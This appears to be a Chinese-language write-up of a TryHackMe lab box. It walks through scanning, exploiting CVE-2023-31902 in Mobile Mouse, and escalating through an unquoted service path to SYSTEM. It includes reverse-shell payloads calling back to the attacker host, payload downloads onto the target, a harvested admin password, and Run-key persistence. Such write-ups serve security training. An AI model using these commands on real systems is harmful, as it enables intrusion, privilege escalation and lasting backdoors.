网站权限设计方案网站被禁用如何解决
目录
连接至THM服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
提取扫描结果中的端口号
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机UDP常用端口进行开放扫描
使用smbmap尝试枚举靶机SMB共享
使用smbclient尝试列出靶机SMB共享
使用curl访问靶机9099端口
边界突破
通过Google对9099端口服务以及漏洞进行搜索
通过Github对该应用进行PoC、EXP搜索
特权提升
查看该用户可用特权
查看该系统中存在的用户
查看该服务根目录ACL
查看靶机中所有已安装的服务
查看靶机系统信息
查看靶机Mobile Mouse服务目录构成
通过查询Windows中的进程管理器Process函数语法可得
根据上述规则攻击机本地侧再次生成一个Payload
操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下
本地侧新开nc开始监听
手动启动靶机中的Mobile Mouse Service服务
使用evil-winrm可以直接通过该凭证进行登录
重新生成Payload用于后渗透持久化
靶机将Payload下载到C:\Windows\Temp目录下
连接至THM服务器并启动靶机
靶机IP:10.10.206.239
分配IP:10.11.120.102
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.206.239 -r 1-65535 --ulimit 5000 > res
提取扫描结果中的端口号
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -p$ports -sCV 10.10.206.239
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p$ports --script=vuln -O 10.10.206.239
使用nmap对靶机UDP常用端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.206.239
使用smbmap尝试枚举靶机SMB共享
smbmap -H 10.10.206.239
使用smbclient尝试列出靶机SMB共享
smbclient -L \\10.10.206.239
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.206.239
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED
使用curl访问靶机9099端口
curl -v http://10.10.206.239:9099
- 由输出可知,该端口托管应用或服务:MOUSETRAP
边界突破
通过Google对9099端口服务以及漏洞进行搜索
- 经过一段时间搜索可知,该端口默认托管服务为:Mobile Mouse
通过Github对该应用进行PoC、EXP搜索
- 通过命令直接克隆Github上的EXP
git clone https://github.com/blue0x1/mobilemouse-exploit.git
- 通过msfvenom生成反弹Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=4444 -f exe > shell.exe
- 本地侧nc开始监听
rlwrap -cAr nc -lvnp 4444
- 执行EXP脚本,本地侧nc收到回显
python CVE-2023-31902-v2.py --target 10.10.51.172 --lhost 10.11.120.102 --file shell.exe
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.51.172] 49803
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
mousetrap\purpletom
- 查找user.txt位置并查看其内容
C:\Windows\system32>cd c:\
cd c:\c:\>dir /s user.txt
dir /s user.txt
Volume in drive C has no label.
Volume Serial Number is A8A4-C362Directory of c:\Users\purpletom
07/04/2024 01:58 PM 22 user.txt
1 File(s) 22 byteC:\>type c:\Users\purpletom\user.txt
type c:\Users\purpletom\user.txt
THM{XXXXX_XXXXX_X_XXX}
特权提升
查看该用户可用特权
whoami /priv
查看该系统中存在的用户
net user
- 切换到Powershell
powershell
C:\Users\purpletom\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
- 从攻击机中将SharpUp进行下载
iwr http://10.11.120.102:8080/SharpUp.exe -O SharpUp.exe
- 运行SharpUp对当前用户进行特权审计
- 由SharpUp审计结果可见`Mobile Mouse Service`服务绝对路径存在空格而且未使用双引号
查看该服务根目录ACL
icacls "C:\Program Files (x86)\Mobile Mouse"
- 由输出可见,作为用户对`Mobile Mouse`具有读、写、执行权限
查看靶机中所有已安装的服务
wmic service list brief
- 可以找到`Mobile Mouse Service`服务全名,并且当前状态是Stopped
查看靶机系统信息
systeminfo
查看靶机Mobile Mouse服务目录构成
- 由dir命令输出结果可见,在该服务目录下存在两个包含空格的文件或目录
通过查询Windows中的进程管理器Process函数语法可得
BOOL CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation );
- 语法中lpApplicationName是服务启动时会被执行的模块
- 该参数的文件名称查询规则即当遇到包含空格的文件如:`Test ABC.exe`时
- 会先尝试解释`Test.exe`,如果未找到`Test.exe`则才会继续查找`Test ABC.exe`
根据上述规则攻击机本地侧再次生成一个Payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下
curl -O http://10.11.120.102:8080/Mouse.exe
本地侧新开nc开始监听
rlwrap -cAr nc -lvnp 1426
手动启动靶机中的Mobile Mouse Service服务
net start "Mobile Mouse Service"
- 本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.100.171] 49958
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
whoami
nt authority\system
- 在C:\Users\Administrator\Desktop目录下找到root.txt
- 查看rdp_credentials.txt内容可获得Administrator用户凭证
gc rdp_credentials.txt
PS C:\Users\Administrator\Desktop> gc rdp_credentials.txt
gc rdp_credentials.txt
Username: administrator
Password: d0ntTRY2m3ssw1thj3rry!!!
使用evil-winrm可以直接通过该凭证进行登录
evil-winrm -i 10.10.100.171 -u 'Administrator' -p 'd0ntTRY2m3ssw1thj3rry!!!'
重新生成Payload用于后渗透持久化
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
靶机将Payload下载到C:\Windows\Temp目录下
wget http://10.11.120.102:8080/shell.exe -o shell.exe
- 通过system权限执行以下命令,当用户登陆系统时自动执行C:\Windows\Temp\shell.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
- 为满足题目需要,这里新建一个terry用户
net user terry ABC123abc /add
- 运行C:\Users\Administrator\Desktop目录下的checker.exe获取flag
PS C:\Users\Administrator\Desktop> .\checker.exe
.\checker.exe
Flag: THM{XXXXX_XXXXXXX_#XXXX#}